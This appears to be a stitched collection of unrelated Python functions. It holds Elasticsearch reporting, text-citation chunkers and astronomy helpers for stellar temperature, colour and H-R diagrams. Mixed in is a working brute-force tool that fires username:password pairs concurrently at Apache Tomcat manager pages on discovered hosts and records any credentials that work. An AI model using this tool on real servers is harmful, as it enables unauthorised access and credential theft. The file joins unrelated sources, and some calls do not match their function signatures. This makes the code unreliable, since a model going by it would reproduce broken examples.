search.aggs.bucket('hosts', 'ip_range', field='address', ranges=formatted_ranges)
response = search.execute()
print_line("{0:<18} {1:<6} {2}".format("Range", "Count", "Tags"))
print_line("-" * 60)
for entry in response.aggregations.hosts.buckets:
print_line("{0:<18} {1:<6} {2}".format(entry.key, entry.doc_count, tags_lookup[entry.key]))
else:
print_error("No ranges defined.") |
def resource_qualifier(resource):
""" Split a resource in (filename, directory) tuple with taking care of external resources
:param resource: A file path or a URI
:return: (Filename, Directory) for files, (URI, None) for URI
"""
if resource.startswith("//") or resource.startswith("http"):
return resource, None
else:
return reversed(op.split(resource)) |
def create_hierarchy(hierarchy, level):
"""Create an OrderedDict
:param hierarchy: a dictionary
:param level: single key
:return: deeper dictionary
"""
if level not in hierarchy:
hierarchy[level] = OrderedDict()
return hierarchy[level] |
def default_chunker(text, getreffs):
""" This is the default chunker which will resolve the reference giving a callback (getreffs) and a text object with its metadata
:param text: Text Object representing either an edition or a translation
:type text: MyCapytains.resources.inventory.Text
:param getreffs: callback function which retrieves a list of references
:type getreffs: function
:return: List of urn references with their human readable version
:rtype: [(str, str)]
"""
level = len(text.citation)
return [tuple([reff.split(":")[-1]]*2) for reff in getreffs(level=level)] |
def scheme_chunker(text, getreffs):
""" This is the scheme chunker which will resolve the reference giving a callback (getreffs) and a text object with its metadata
:param text: Text Object representing either an edition or a translation
:type text: MyCapytains.resources.inventory.Text
:param getreffs: callback function which retrieves a list of references
:type getreffs: function
:return: List of urn references with their human readable version
:rtype: [(str, str)]
"""
level = len(text.citation)
types = [citation.name for citation in text.citation]
if types == ["book", "poem", "line"]:
level = 2
elif types == ["book", "line"]:
return line_chunker(text, getreffs)
return [tuple([reff.split(":")[-1]]*2) for reff in getreffs(level=level)] |
def line_chunker(text, getreffs, lines=30):
""" Groups line reference together
:param text: Text object
:type text: MyCapytains.resources.text.api
:param getreffs: Callback function to retrieve text
:type getreffs: function(level)
:param lines: Number of lines to use by group
:type lines: int
:return: List of grouped urn references with their human readable version
:rtype: [(str, str)]
"""
level = len(text.citation)
source_reffs = [reff.split(":")[-1] for reff in getreffs(level=level)]
reffs = []
i = 0
while i + lines - 1 < len(source_reffs):
reffs.append(tuple([source_reffs[i]+"-"+source_reffs[i+lines-1], source_reffs[i]]))
i += lines
if i < len(source_reffs):
reffs.append(tuple([source_reffs[i]+"-"+source_reffs[len(source_reffs)-1], source_reffs[i]]))
return reffs |
def level_chunker(text, getreffs, level=1):
""" Chunk a text at the passage level
:param text: Text object
:type text: MyCapytains.resources.text.api
:param getreffs: Callback function to retrieve text
:type getreffs: function(level)
:return: List of urn references with their human readable version
:rtype: [(str, str)]
"""
references = getreffs(level=level)
return [(ref.split(":")[-1], ref.split(":")[-1]) for ref in references] |
def level_grouper(text, getreffs, level=None, groupby=20):
""" Alternative to level_chunker: groups levels together at the latest level
:param text: Text object
:param getreffs: GetValidReff query callback
:param level: Level of citation to retrieve
:param groupby: Number of level to groupby
:return: Automatically curated references
"""
if level is None or level > len(text.citation):
level = len(text.citation)
references = [ref.split(":")[-1] for ref in getreffs(level=level)]
_refs = OrderedDict()
for key in references:
k = ".".join(key.split(".")[:level-1])
if k not in _refs:
_refs[k] = []
_refs[k].append(key)
del k
return [
(
join_or_single(ref[0], ref[-1]),
join_or_single(ref[0], ref[-1])
)
for sublist in _refs.values()
for ref in [
sublist[i:i+groupby]
for i in range(0, len(sublist), groupby)
]
] |
def teff(cluster):
"""
Calculate Teff for main sequence stars ranging from Teff 3500K - 8000K. Use
[Fe/H] of the cluster, if available.
Returns a list of Teff values.
"""
b_vs, _ = cluster.stars()
teffs = []
for b_v in b_vs:
b_v -= cluster.eb_v
if b_v > -0.04:
x = (14.551 - b_v) / 3.684
else:
x = (3.402 - math.sqrt(0.515 + 1.376 * b_v)) / 0.688
teffs.append(math.pow(10, x))
return teffs |
def color(teffs):
"""
Conventional color descriptions of stars.
Source: https://en.wikipedia.org/wiki/Stellar_classification
"""
colors = []
for t in teffs:
if t >= 7500:
colors.append('blue_white') # RGB:CAE1FF
elif t >= 6000:
colors.append('white') # RGB:F6F6F6
elif t >= 5200:
colors.append('yellowish_white') # RGB:FFFEB2
elif t >= 3700:
colors.append('pale_yellow_orange') # RGB:FFB28B
else:
colors.append('light_orange_red') # RGB:FF9966
return colors |
def table(cluster):
"""
Create a numpy.ndarray with all observed fields and
computed teff and luminosity values.
"""
teffs = teff(cluster)
lums = luminosity(cluster)
arr = cluster.to_array()
i = 0
for row in arr:
row['lum'][0] = np.array([lums[i]], dtype='f')
row['temp'][0] = np.array([teffs[i]], dtype='f')
i += 1
arr = round_arr_teff_luminosity(arr)
return arr |
def round_arr_teff_luminosity(arr):
"""
Return the numpy array with rounded teff and luminosity columns.
"""
arr['temp'] = np.around(arr['temp'], -1)
arr['lum'] = np.around(arr['lum'], 3)
return arr |
def brutefore_passwords(ip, url, credentials, service):
"""
Bruteforce function, will try all the credentials at the same time, splits the given credentials at a ':'.
"""
auth_requests = []
for credential in credentials:
split = credential.strip().split(':')
username = split[0]
password = ''
if len(split) > 1:
password = split[1]
auth_requests.append(grequests.get(url, auth=(username, password)))
results = grequests.map(auth_requests)
for result in results:
if result and result.status_code == 200:
creds = result.request.headers['Authorization'].split(' ')[1]
creds = base64.b64decode(creds).decode('utf-8')
creds = creds.split(':')
print_success("Found a password for tomcat: {0}:{1} at: {2}".format(
creds[0], creds[1], url))
credential = Credential(secret=creds[1], username=creds[0], type='plaintext', access_level='administrator', service_id=service.id, host_ip=ip, description='Tomcat')
credential.save() |
def main():
"""
Checks the arguments to brutefore and spawns greenlets to perform the bruteforcing.
"""
services = ServiceSearch()
argparse = services.argparser
argparse.add_argument('-f', '--file', type=str, help="File")
arguments = argparse.parse_args()
if not arguments.file:
print_error("Please provide a file with credentials seperated by ':'")
sys.exit()
services = services.get_services(search=["Tomcat"], up=True, tags=['!tomcat_brute'])
credentials = []
with open(arguments.file, 'r') as f:
credentials = f.readlines()
for service in services:
print_notification("Checking ip:{} port {}".format(service.address, service.port))
url = 'http://{}:{}/manager/html'
gevent.spawn(brutefore_passwords, service.address, url.format(service.address, service.port), credentials, service)
service.add_tag('tomcat_brute')
service.update(tags=service.tags)
gevent.wait()
# TODO fix stats
Logger().log("tomcat_brute", "Performed tomcat bruteforce scan", {'scanned_services': len(services)}) |
def _diagram(plot_figure, source=None, color='black', line_color='#444444',
xaxis_label='B-V [mag]', yaxis_label='V [mag]', name=None):
"""Use a :class:`~bokeh.plotting.figure.Figure` and x and y collections
to create an H-R diagram.
"""
plot_figure.circle(x='x', y='y', source=source,
size=5, color=color, alpha=1, name=name,
line_color=line_color, line_width=0.5)
plot_figure.xaxis.axis_label = xaxis_label
plot_figure.yaxis.axis_label = yaxis_label
plot_figure.yaxis.formatter = NumeralTickFormatter() |
def cc_diagram(cluster_name):
"""Create a :class:`~bokeh.plotting.figure.Figure` to create an H-R
diagram using the cluster_name; then show it.
"""
x, y = get_hr_data(cluster_name)
y_range = [max(y) + 0.5, min(y) - 0.25]
pf = figure(y_range=y_range, title=cluster_name)
_diagram(x, y, pf)
show_with_bokeh_server(pf) |
def hr_diagram(cluster_name, output=None):
"""Create a :class:`~bokeh.plotting.figure.Figure` to create an H-R
diagram using the cluster_name; then show it.
Re
"""
cluster = get_hr_data(cluster_name)
pf = hr_diagram_figure(cluster)
show_with_bokeh_server(pf) |
def skyimage_figure(cluster):
"""
Given a cluster create a Bokeh plot figure using the
cluster's image.
"""
pf_image = figure(x_range=(0, 1), y_range=(0, 1),
title='Image of {0}'.format(cluster.name))
pf_image.image_url(url=[cluster.image_path],
x=0, y=0, w=1, h=1, anchor='bottom_left')
pf_image.toolbar_location = None
pf_image.axis.visible = False
return pf_image |
def round_teff_luminosity(cluster):
"""
Returns rounded teff and luminosity lists.
"""
temps = [round(t, -1) for t in teff(cluster)]
lums = [round(l, 3) for l in luminosity(cluster)]
return temps, lums |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.